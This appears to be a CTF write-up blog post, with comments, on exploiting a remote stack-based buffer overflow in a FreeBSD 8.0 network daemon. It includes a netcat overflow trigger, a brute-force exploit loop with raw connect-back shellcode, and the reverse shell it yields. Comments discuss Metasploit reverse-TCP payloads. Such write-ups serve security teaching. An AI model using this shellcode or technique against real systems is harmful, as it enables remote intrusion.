Last week-end was held the well-known CSAW CTF (quals) by NYU-Poly. Last year and this year winners are none but our awesome friends PPP! We took 2nd place just behind them, see top15 graph.
They gave us interesting exploit challenges and I had the opportunity to look at exploit1: a remote stack based buffer overflow under FreeBSD 8.0.
Analysis
We were given a files, which appeared to be:ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 8.0 (800107), statically linked, FreeBSD-style, not strippedUsing IDAPro HexRays we quickly recognize a classic network daemon (socket/bind/listen/accept/fork). The function handling user input is called rmsg and uses insecurely strcat with user input: it's a classic remote stack based buffer overflow.
Debugging
Assuming the system running the daemon is indeed FreeBSD 8.0, we run Virtual Machine (thoughtpolice is a good start if you need one) and open the binary in gdb. Note: a good gdbinit is worth it.From there, you can either instruct gdb to follow the child:
set follow-fork-mode child catch execOr patch the binary to avoid the fork - my favorite - with xor eax,eax then nop in order to have a return value of 0 as if we were in the child process:
<address> <original value> <patched> 00000370: E8 33 00000371: 03 C0 00000372: 05 90 00000373: 00 90 00000374: 00 90
Trigger
We can trigger the stack overflow from the network using netcat and a large user input:$ python -c 'import struct; print "A"*360+struct.pack("<I",0xdeadbeef)' | nc 127.0.0.1 8888You should see in gdb that we achieved to control the saved eip:
0xdeadbeef in ?? ()
Shellcode
Now we want the program to run our code, what code? We could use a bind port shellcode, but it's unlikely to work because we're connecting to CSAW unique IPv4 address, so very likely it's behind a NAT router. So we could use a connect-back if output is not blocked. Hopefully it was not, otherwise we would have used a custom shellcode reusing the current opened connection.My friend sbz (@sbrabez) - our FreeBSD guy at Nibbles - gave me the following BSDi-x86-connectback shellcode, which worked well.
Return address
Since default FreeBSD 8.0 has executable stack and no ASLR, we'll use a simple exploit payload: nopsled + shellcode + saved eip rewrite, with address somewhere in the nopsled. In this situation I just run gdb with zeroed environment (env -i gdb <file>), run the program and break after the overflow to have the address of the buffer and choose something in the middle of the nopsled: 0xbfbfe510 sounded good.This address will most likely be wrong on the server, but thanks to the nopsled we can quickly iterate over a few return addresses to eventually find something that works - script hangs and connection appears on the connect-back listener:
First, start the connect-back listener:
$ nc -nlvp 1337 listening on [any] 1337 ...
Then run the exploit:
for i in $(seq 0 100); do echo $i python -c 'sc="\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe7\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\xff\xd7\x89\xc6\x68\xaa\xbb\xcc\xdd\x68\xaa\x02\x05\x39\x89\xe5\x6a\x10\x55\x56\xb0\x62\xff\xd7\x53\x56\xb0\x5a\xff\xd7\x4b\x79\xf7\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd7"; from struct import pack; print sc.rjust(360,"\x90")+pack("<I",0xbfbfe510+0x10*'$i')' |nc 128.238.66.100 40001 done
At i=76 I received the connect-back shell:
connect to [1.2.3.4] from (UNKNOWN) [128.238.66.100] 64361 id uid=1001(chal1) gid=1001(chal1) groups=1001(chal1) ls key cat key 95335ebbdbab9c8eb745fd3ec618d35a
Classic, but still fun to exploit!
the same my way, :)
ReplyDeletenice writeup ;)
ReplyDeleteThe connect-back shellcode i used didnt work, and i wrote my own to read file.. Spent a lot of time, but got it :)
about the shellcode, we can make it easily by generated it by metasploit . :)
ReplyDeletehaha hellman, nice :)
ReplyDeleteoh indeed cr4zyb0y! metasploit <3 which one did you use?
Note: I edited the post, it's not strictly a "stack overflow" but a "stack based buffer overflow", my mistake.
hey nice one here too. i first spotted the vuln in something like 30s of analysis (really this was a piece of cake in front of defcon pp300 when milo ipv and I reversed like 80% of the code before founding the heap overflow and reconstructed the user struct and finally start looking for a way to get the flag through it) but due the sucking freebsd 7.3 vm that i had at the time (and the also-sucking-gdb built whitin it) wasn't able to start the exploitation process. thankx dude. tu as vaincu l'ennemi et l'honneur demeura sauf :))
ReplyDeleteoh StalkR, my metasploit is version 3.4.0-dev . Easy to made a bsd reverse tcp/ip shellcode.
ReplyDeleteteach :)
ReplyDeletecr4zyboy: sorry I didn't mean the metasploit version, but which payload did you use? payload/bsd/x86/shell_reverse_tcp, payload/bsd/x86/shell/reverse_tcp or the bsdi versions? I think I tried one it didn't work then I used sbz's.
I used http://www.shell-storm.org/shellcode/files/shellcode-676.php
ReplyDeleteNow i looked at it, and it uses edi as pointer to store data >_<. And it's not initialized :(
mov edi, ebp solves the problem...
@StalkR: sorry, I use bsd/x86/shell/reverse_tcp Reverse TCP Stager . What wrong ?
ReplyDeleteGood! Nothing, just wanted to know :) thanks
ReplyDelete